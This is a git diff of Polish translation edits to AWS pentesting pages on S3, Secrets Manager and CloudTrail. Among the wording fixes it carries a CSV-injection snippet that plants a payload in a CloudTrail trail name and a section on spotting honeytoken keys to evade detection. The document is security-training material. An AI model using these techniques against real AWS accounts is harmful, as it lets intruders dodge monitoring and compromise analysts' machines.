 https://<bucket-name>.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa
 ```
-Aby **utworzyć presigned URL z cli przy użyciu poświadczeń podmiotu z dostępem do obiektu** (jeśli konto, którego używasz, nie ma dostępu, zostanie utworzony krótszy presigned URL, ale będzie bezużyteczny)
+URL z wcześniejszym podpisem może być **stworzony z cli przy użyciu poświadczeń podmiotu mającego dostęp do obiektu** (jeśli konto, którego używasz, nie ma dostępu, zostanie utworzony krótszy URL z wcześniejszym podpisem, ale będzie bezużyteczny)
 ```bash
 aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
 ```
 > [!NOTE]
 > Jedynym wymaganym uprawnieniem do wygenerowania presigned URL jest przyznane uprawnienie, więc dla poprzedniego polecenia jedynym wymaganym uprawnieniem przez podmiot jest `s3:GetObject`
 
-Możliwe jest również tworzenie presigned URL z **innymi uprawnieniami**:
+Możliwe jest również tworzenie presigned URLs z **innymi uprawnieniami**:
 ```python
 import boto3
 url = boto3.client('s3').generate_presigned_url(
@@ -42,15 +42,15 @@ Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'},
 ExpiresIn=3600
 )
 ```
-### S3 Mechanizmy Szyfrowania
+### Mechanizmy szyfrowania S3
 
-**DEK oznacza Klucz Szyfrowania Danych** i jest kluczem, który jest zawsze generowany i używany do szyfrowania danych.
+**DEK oznacza Klucz Szyfrowania Danych** i jest kluczem, który zawsze jest generowany i używany do szyfrowania danych.
 
 <details>
 
-<summary><strong>Szyfrowanie po stronie serwera z kluczami zarządzanymi przez S3, SSE-S3</strong></summary>
+<summary><strong>Szyfrowanie po stronie serwera z użyciem kluczy zarządzanych przez S3, SSE-S3</strong></summary>
 
-Ta opcja wymaga minimalnej konfiguracji, a zarządzanie kluczami szyfrowania jest obsługiwane przez AWS. Wszystko, co musisz zrobić, to **przesłać swoje dane, a S3 zajmie się wszystkimi innymi aspektami**. Każdemu koszykowi w koncie S3 przypisany jest klucz koszyka.
+Ta opcja wymaga minimalnej konfiguracji, a zarządzanie kluczami szyfrowania jest realizowane przez AWS. Wszystko, co musisz zrobić, to **przesłać swoje dane, a S3 zajmie się wszystkimi innymi aspektami**. Każdemu koszykowi w koncie S3 przypisany jest klucz koszyka.
 
 - Szyfrowanie:
 - Dane obiektu + utworzony jawny DEK --> Szyfrowane dane (przechowywane w S3)
@@ -65,13 +65,13 @@ Proszę zauważyć, że w tym przypadku **klucz jest zarządzany przez AWS** (ro
 
 <details>
 
-<summary><strong>Szyfrowanie po stronie serwera z kluczami zarządzanymi przez KMS, SSE-KMS</strong></summary>
+<summary><strong>Szyfrowanie po stronie serwera z użyciem kluczy zarządzanych przez KMS, SSE-KMS</strong></summary>
 
 Ta metoda pozwala S3 korzystać z usługi zarządzania kluczami do generowania kluczy szyfrowania danych. KMS daje znacznie większą elastyczność w zarządzaniu kluczami. Na przykład, możesz dezaktywować, rotować i stosować kontrole dostępu do CMK oraz monitorować ich użycie za pomocą AWS Cloud Trail.
 
 - Szyfrowanie:
 - S3 żąda kluczy danych od KMS CMK
-- KMS używa CMK do generowania pary jawnego DEK i szyfrowanego DEK i wysyła je do S3
+- KMS używa CMK do generowania pary DEK jawnego i DEK szyfrowanego i wysyła je do S3
 - S3 używa jawnego klucza do szyfrowania danych, przechowuje szyfrowane dane i szyfrowany klucz oraz usuwa z pamięci jawny klucz
 - Deszyfrowanie:
 - S3 prosi KMS o deszyfrowanie szyfrowanego klucza danych obiektu
@@ -82,7 +82,7 @@ Ta metoda pozwala S3 korzystać z usługi zarządzania kluczami do generowania k
 
 <details>
 
-<summary><strong>Szyfrowanie po stronie serwera z kluczami dostarczonymi przez klienta, SSE-C</strong></summary>
+<summary><strong>Szyfrowanie po stronie serwera z użyciem kluczy dostarczonych przez klienta, SSE-C</strong></summary>
 
 Ta opcja daje Ci możliwość dostarczenia własnego klucza głównego, którego możesz już używać poza AWS. Twój klucz dostarczony przez klienta zostanie następnie wysłany z danymi do S3, gdzie S3 wykona szyfrowanie za Ciebie.
 
@@ -93,14 +93,14 @@ Ta opcja daje Ci możliwość dostarczenia własnego klucza głównego, którego
 - klucz klienta jest usuwany z pamięci
 - Deszyfrowanie:
 - Użytkownik wysyła klucz klienta
-- Klucz jest weryfikowany w stosunku do przechowywanej wartości HMAC
+- Klucz jest walidowany w stosunku do przechowywanej wartości HMAC
 - Klucz dostarczony przez klienta jest następnie używany do deszyfrowania danych
 
 </details>
 
 <details>
 
-<summary><strong>Szyfrowanie po stronie klienta z KMS, CSE-KMS</strong></summary>
+<summary><strong>Szyfrowanie po stronie klienta z użyciem KMS, CSE-KMS</strong></summary>
 
 Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarządzania kluczami do generowania kluczy szyfrowania danych. Jednak tym razem KMS jest wywoływane przez klienta, a nie przez S3. Szyfrowanie odbywa się po stronie klienta, a szyfrowane dane są następnie wysyłane do S3 w celu przechowania.
 
@@ -108,7 +108,7 @@ Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarz
 - Klient żąda klucza danych od KMS
 - KMS zwraca jawny DEK i szyfrowany DEK z CMK
 - Oba klucze są wysyłane z powrotem
-- Klient następnie szyfruje dane za pomocą jawnego DEK i wysyła do S3 szyfrowane dane + szyfrowany DEK (który jest zapisywany jako metadane szyfrowanych danych w S3)
+- Klient szyfruje dane za pomocą jawnego DEK i wysyła do S3 szyfrowane dane + szyfrowany DEK (który jest zapisywany jako metadane szyfrowanych danych w S3)
 - Deszyfrowanie:
 - Szyfrowane dane z szyfrowanym DEK są wysyłane do klienta
 - Klient prosi KMS o deszyfrowanie szyfrowanego klucza za pomocą CMK, a KMS wysyła z powrotem jawny DEK
@@ -118,7 +118,7 @@ Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarz
 
 <details>
 
-<summary><strong>Szyfrowanie po stronie klienta z kluczami dostarczonymi przez klienta, CSE-C</strong></summary>
+<summary><strong>Szyfrowanie po stronie klienta z użyciem kluczy dostarczonych przez klienta, CSE-C</strong></summary>
 
 Korzystając z tego mechanizmu, możesz wykorzystać własne dostarczone klucze i użyć klienta AWS-SDK do szyfrowania danych przed wysłaniem ich do S3 w celu przechowania.
 
@@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### dual-stack <a href="#dual-stack-endpoints-description" id="dual-stack-endpoints-description"></a>
 
-Możesz uzyskać dostęp do koszyka S3 za pomocą punktu końcowego dual-stack, używając nazwy punktu końcowego w stylu hostowanym wirtualnie lub w stylu ścieżki. Są one przydatne do uzyskiwania dostępu do S3 przez IPv6.
+Możesz uzyskać dostęp do koszyka S3 przez punkt końcowy dual-stack, używając nazwy punktu końcowego w stylu hostowanym wirtualnie lub w stylu ścieżki. Są one przydatne do uzyskiwania dostępu do S3 przez IPv6.
 
 Punkty końcowe dual-stack używają następującej składni:
 
@@ -266,19 +266,19 @@ Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień S3, aby e
 
 ### S3 HTTP Cache Poisoning Issue <a href="#heading-s3-http-desync-cache-poisoning-issue" id="heading-s3-http-desync-cache-poisoning-issue"></a>
 
-[**Zgodnie z tym badaniem**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) możliwe było buforowanie odpowiedzi z dowolnego koszyka, jakby należała do innego. Mogło to być nadużywane do zmiany na przykład odpowiedzi plików javascript i kompromitacji dowolnych stron korzystających z S3 do przechowywania statycznego kodu.
+[**Zgodnie z tym badaniem**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) możliwe było buforowanie odpowiedzi z dowolnego koszyka, tak jakby należała do innego. Mogło to być nadużywane do zmiany na przykład odpowiedzi plików javascript i kompromitacji dowolnych stron korzystających z S3 do przechowywania statycznego kodu.
 
 ## Amazon Athena
 
 Amazon Athena to interaktywny serwis zapytań, który ułatwia **analizowanie danych** bezpośrednio w Amazon Simple Storage Service (Amazon **S3**) **przy użyciu** standardowego **SQL**.
 
-Musisz **przygotować tabelę DB relacyjną** w formacie treści, która ma się pojawić w monitorowanych koszykach S3. A następnie Amazon Athena będzie mogła zapełnić DB z logów, abyś mógł ją zapytać.
+Musisz **przygotować tabelę DB relacyjną** w formacie treści, która ma się pojawić w monitorowanych koszykach S3. Następnie Amazon Athena będzie mogła zapełnić DB z logów, abyś mógł je zapytać.
 
 Amazon Athena obsługuje **możliwość zapytania danych S3, które są już zaszyfrowane**, a jeśli jest to skonfigurowane, **Athena może również zaszyfrować wyniki zapytania, które mogą być następnie przechowywane w S3**.
 
 **To szyfrowanie wyników jest niezależne od podstawowych danych S3**, co oznacza, że nawet jeśli dane S3 nie są zaszyfrowane, wyniki zapytania mogą być zaszyfrowane. Kilka punktów, o których warto pamiętać, to to, że Amazon Athena obsługuje tylko dane, które zostały **zaszyfrowane** przy użyciu **następujących metod szyfrowania S3**, **SSE-S3, SSE-KMS i CSE-KMS**.
 
-SSE-C i CSE-E nie są obsługiwane. Oprócz tego ważne jest, aby zrozumieć, że Amazon Athena będzie wykonywać zapytania tylko przeciwko **zaszyfrowanym obiektom, które znajdują się w tym samym regionie co samo zapytanie**. Jeśli musisz zapytać dane S3, które zostały zaszyfrowane przy użyciu KMS, to wymagane są konkretne uprawnienia dla użytkownika Athena, aby umożliwić mu wykonanie zapytania.
+SSE-C i CSE-E nie są obsługiwane. Oprócz tego ważne jest, aby zrozumieć, że Amazon Athena będzie wykonywać zapytania tylko przeciwko **zaszyfrowanym obiektom, które znajdują się w tym samym regionie co samo zapytanie**. Jeśli musisz zapytać dane S3, które zostały zaszyfrowane przy użyciu KMS, to użytkownik Athena potrzebuje określonych uprawnień, aby umożliwić mu wykonanie zapytania.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
index f82e1b472..17b0b727f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
@@ -4,17 +4,17 @@
 
 ## AWS Secrets Manager
 
-AWS Secrets Manager jest zaprojektowany, aby **eliminować użycie zakodowanych na sztywno sekretów w aplikacjach, zastępując je wywołaniem API**. Ta usługa służy jako **centralne repozytorium dla wszystkich twoich sekretów**, zapewniając ich jednolite zarządzanie we wszystkich aplikacjach.
+AWS Secrets Manager jest zaprojektowany, aby **eliminować użycie zakodowanych na stałe sekretów w aplikacjach, zastępując je wywołaniem API**. Ta usługa służy jako **centralne repozytorium dla wszystkich twoich sekretów**, zapewniając ich jednolite zarządzanie we wszystkich aplikacjach.
 
-Menadżer upraszcza **proces rotacji sekretów**, znacznie poprawiając bezpieczeństwo wrażliwych danych, takich jak poświadczenia bazy danych. Dodatkowo, sekrety takie jak klucze API mogą być automatycznie rotowane przy integracji z funkcjami lambda.
+Menadżer upraszcza **proces rotacji sekretów**, znacznie poprawiając bezpieczeństwo wrażliwych danych, takich jak poświadczenia do bazy danych. Dodatkowo, sekrety takie jak klucze API mogą być automatycznie rotowane przy integracji z funkcjami lambda.
 
 Dostęp do sekretów jest ściśle kontrolowany przez szczegółowe polityki oparte na tożsamości IAM oraz polityki oparte na zasobach.
 
-Aby przyznać dostęp do sekretów użytkownikowi z innego konta AWS, konieczne jest:
+Aby przyznać dostęp do sekretów użytkownikowi z innego konta AWS, należy:
 
-1. Autoryzowanie użytkownika do uzyskania dostępu do sekretu.
-2. Przyznanie użytkownikowi uprawnień do odszyfrowania sekretu za pomocą KMS.
-3. Modyfikacja polityki klucza, aby umożliwić zewnętrznemu użytkownikowi jego wykorzystanie.
+1. Autoryzować użytkownika do dostępu do sekretu.
+2. Przyznać użytkownikowi uprawnienia do odszyfrowania sekretu za pomocą KMS.
+3. Zmodyfikować politykę klucza, aby umożliwić zewnętrznemu użytkownikowi jej wykorzystanie.
 
 **AWS Secrets Manager integruje się z AWS KMS, aby szyfrować twoje sekrety w AWS Secrets Manager.**
 
@@ -30,7 +30,7 @@ aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
 ### Privesc
 
 {{#ref}}
-../aws-privilege-escalation/aws-secrets-manager-privesc.md
+../aws-privilege-escalation/aws-secrets-manager-privec.md
 {{#endref}}
 
 ### Post Exploitation
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 2a0bb17f7..6be60acf6 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
 
 ## **CloudTrail**
 
-AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto co zrobił, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.
+AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyty zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.
 
 Każde zarejestrowane zdarzenie zawiera:
 
@@ -19,17 +19,17 @@ Każde zarejestrowane zdarzenie zawiera:
 - Parametry żądania: `requestParameters`
 - Elementy odpowiedzi: `responseElements`
 
-Zdarzenia są zapisywane do nowego pliku dziennika **około co 5 minut w pliku JSON**, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są **dostarczane do S3 około 15 minut po**.\
+Zdarzenia są zapisywane w nowym pliku dziennika **około co 5 minut w pliku JSON**, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są **dostarczane do S3 około 15 minut po**.\
 Dzienniki CloudTrail mogą być **agregowane w różnych kontach i regionach.**\
 CloudTrail pozwala na użycie **integralności plików dziennika, aby móc zweryfikować, że Twoje pliki dziennika pozostały niezmienione** od momentu, gdy CloudTrail je dostarczył. Tworzy skrót SHA-256 dzienników w pliku podsumowującym. Skrót sha-256 nowych dzienników jest tworzony co godzinę.\
-Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia wglądowe.
+Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia analityczne.
 
 Dzienniki są przechowywane w wiadrze S3. Domyślnie używana jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami.
 
 Dzienniki są przechowywane w **wiadrze S3 o tym formacie nazwy**:
 
 - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- Nazwa wiadra: **`aws-cloudtrail-logs-<accountid>-<random>`**
+- Gdzie BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
 - Przykład: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
 
 Wewnątrz każdego folderu każdy dziennik będzie miał **nazwę w tym formacie**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
@@ -51,11 +51,11 @@ Ponadto, **pliki podsumowujące (do sprawdzania integralności plików)** będą
 Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, nie możesz agregować dzienników CloudTrail z wielu kont do dzienników CloudWatch należących do jednego konta AWS.
 
 > [!CAUTION]
-> Pamiętaj, że konto może mieć **różne Trail** z CloudTrail **włączone**, przechowujące te same (lub różne) dzienniki w różnych wiadrach.
+> Pamiętaj, że konto może mieć **różne Trails** z CloudTrail **włączone**, przechowujące te same (lub różne) dzienniki w różnych wiadrach.
 
 ### CloudTrail z wszystkich kont organizacji do 1
 
-Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować CloudTrail dla wszystkich kont w organizacji i uzyskać dzienniki do tylko 1 wiadra:
+Podczas tworzenia CloudTrail, możliwe jest wskazanie aktywacji CloudTrail dla wszystkich kont w organizacji i zebranie dzienników w tylko 1 wiadrze:
 
 <figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
 
@@ -67,7 +67,7 @@ Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając
 ```javascript
 aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
 ```
-### Logs to CloudWatch
+### Logi do CloudWatch
 
 **CloudTrail może automatycznie wysyłać logi do CloudWatch, abyś mógł ustawić alerty, które ostrzegają cię, gdy wykonywane są podejrzane działania.**\
 Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy utworzyć **rolę**, która pozwala na tę akcję. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na:
@@ -75,37 +75,37 @@ Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy
 - CreateLogStream: To pozwala na tworzenie strumieni logów CloudWatch
 - PutLogEvents: Dostarczanie logów CloudTrail do strumienia logów CloudWatch
 
-### Event History
+### Historia zdarzeń
 
 Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane:
 
 ![](<../../../../images/image (89).png>)
 
-### Insights
+### Spostrzeżenia
 
 **CloudTrail Insights** automatycznie **analizuje** zdarzenia zarządzania zapisem z tras CloudTrail i **informuje** cię o **nietypowej aktywności**. Na przykład, jeśli nastąpi wzrost zdarzeń `TerminateInstance`, który różni się od ustalonych podstaw, zobaczysz to jako zdarzenie Insight. Te zdarzenia ułatwiają **znalezienie i reagowanie na nietypową aktywność API** jak nigdy dotąd.
 
-Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
+Spostrzeżenia są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
 
-### Security
+### Bezpieczeństwo
 
-| CloudTrail Log File Integrity        | <ul><li>Walidacja, czy logi nie zostały zmienione (zmodyfikowane lub usunięte)</li><li><p>Używa plików skrótów (tworzy hash dla każdego pliku)</p><ul><li>SHA-256 hashing</li><li>SHA-256 z RSA do podpisywania cyfrowego</li><li>klucz prywatny należący do Amazon</li></ul></li><li>Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)</li></ul> |
+| Integralność pliku logu CloudTrail  | <ul><li>Walidacja, czy logi nie zostały zmanipulowane (zmodyfikowane lub usunięte)</li><li><p>Używa plików skrótów (tworzy hash dla każdego pliku)</p><ul><li>SHA-256 hashing</li><li>SHA-256 z RSA do podpisywania cyfrowego</li><li>klucz prywatny należący do Amazon</li></ul></li><li>Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)</li></ul> |
 | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Stop unauthorized access             | <ul><li><p>Użyj polityk IAM i polityk koszyków S3</p><ul><li>zespół bezpieczeństwa —> dostęp administracyjny</li><li>audytorzy —> dostęp tylko do odczytu</li></ul></li><li>Użyj SSE-S3/SSE-KMS do szyfrowania logów</li></ul>                                                                                                                                        |
-| Prevent log files from being deleted | <ul><li>Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków</li><li>Skonfiguruj usuwanie MFA S3</li><li>Walidacja za pomocą Walidacji Plików Logów</li></ul>                                                                                                                                                                                            |
+| Zatrzymaj nieautoryzowany dostęp     | <ul><li><p>Użyj polityk IAM i polityk koszyków S3</p><ul><li>zespół bezpieczeństwa —> dostęp administracyjny</li><li>audytorzy —> dostęp tylko do odczytu</li></ul></li><li>Użyj SSE-S3/SSE-KMS do szyfrowania logów</li></ul>                                                                                                                                        |
+| Zapobiegaj usuwaniu plików logów     | <ul><li>Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków</li><li>Skonfiguruj usuwanie MFA S3</li><li>Walidacja za pomocą Walidacji pliku logu</li></ul>                                                                                                                                                                                            |
 
-## Access Advisor
+## Doradca dostępu
 
-AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS **CloudTrail, aby zebrać swoje wnioski**. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Access Advisor wykorzystuje te dane, aby **pokazać, kiedy usługi były ostatnio używane**. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące **udoskonalania uprawnień**, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia.
+AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS **CloudTrail, aby zebrać swoje spostrzeżenia**. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Doradca dostępu wykorzystuje te dane, aby **pokazać, kiedy usługi były ostatnio używane**. Analizując logi CloudTrail, Doradca dostępu może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące **udoskonalania uprawnień**, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia.
 
 > [!TIP]
-> Dlatego Access Advisor informuje o **niepotrzebnych uprawnieniach przyznawanych użytkownikom**, aby administrator mógł je usunąć
+> Dlatego Doradca dostępu informuje o **niepotrzebnych uprawnieniach przyznawanych użytkownikom**, aby administrator mógł je usunąć
 
 <figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
 
-## Actions
+## Akcje
 
-### Enumeration
+### Enumeracja
 ```bash
 # Get trails info
 aws cloudtrail list-trails
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
 ```
 ### **CSV Injection**
 
-Możliwe jest przeprowadzenie ataku CVS w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.\
+Możliwe jest przeprowadzenie ataku CSV w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.\
 Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą ładunek:
 ```python
 import boto3
@@ -136,7 +136,7 @@ S3BucketName="random"
 )
 print(response)
 ```
-Dla uzyskania dodatkowych informacji na temat CSV Injections sprawdź stronę:
+Aby uzyskać więcej informacji na temat wstrzyknięć CSV, sprawdź stronę:
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/formula-injection
@@ -144,25 +144,25 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection
 
 Aby uzyskać więcej informacji na temat tej konkretnej techniki, sprawdź [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
 
-## **Obchodzenie wykrywania**
+## **Omijanie wykrywania**
 
-### HoneyTokens **obchodzenie**
+### HoneyTokens **omijanie**
 
 Honeytokens są tworzone w celu **wykrywania eksfiltracji wrażliwych informacji**. W przypadku AWS są to **klucze AWS, których użycie jest monitorowane**, jeśli coś wywoła akcję z tym kluczem, to ktoś musiał ukraść ten klucz.
 
-Jednakże, Honeytokens, takie jak te stworzone przez [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), używają rozpoznawalnej nazwy konta lub tego samego identyfikatora konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub identyfikator konta bez powodowania, że Cloudtrail utworzy jakikolwiek log, **możesz wiedzieć, czy klucz jest honeytokenem, czy nie**.
+Jednakże, Honeytokens, takie jak te stworzone przez [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), używają rozpoznawalnych nazw kont lub tego samego identyfikatora konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub identyfikator konta bez powodowania, że Cloudtrail utworzy jakikolwiek log, **możesz wiedzieć, czy klucz jest honeytokenem, czy nie**.
 
 [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ma pewne zasady, aby wykryć, czy klucz należy do [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
 
 - Jeśli **`canarytokens.org`** pojawia się w nazwie roli lub identyfikator konta **`534261010715`** pojawia się w komunikacie o błędzie.
-- Testując je bardziej niedawno, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie.
-- Jeśli **`SpaceCrab`** pojawia się w nazwie roli w komunikacie o błędzie
-- **SpaceSiren** używa **uuids** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
+- Testując je ostatnio, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie.
+- Jeśli **`SpaceCrab`** pojawia się w nazwie roli w komunikacie o błędzie.
+- **SpaceSiren** używa **uuid** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
 - Jeśli **nazwa wygląda na losowo wygenerowaną**, istnieje duże prawdopodobieństwo, że jest to HoneyToken.
 
 #### Uzyskaj identyfikator konta z identyfikatora klucza
 
-Możesz uzyskać **Identyfikator konta** z **zakodowanego** wewnątrz **klucza dostępu** jak [**wyjaśniono tutaj**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) i sprawdzić identyfikator konta z twoją listą kont Honeytokens AWS:
+Możesz uzyskać **Identyfikator konta** z **zakodowanego** wewnątrz **klucza dostępu**, jak [**wyjaśniono tutaj**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) i sprawdzić identyfikator konta z twoją listą kont Honeytokens AWS:
 ```python
 import base64
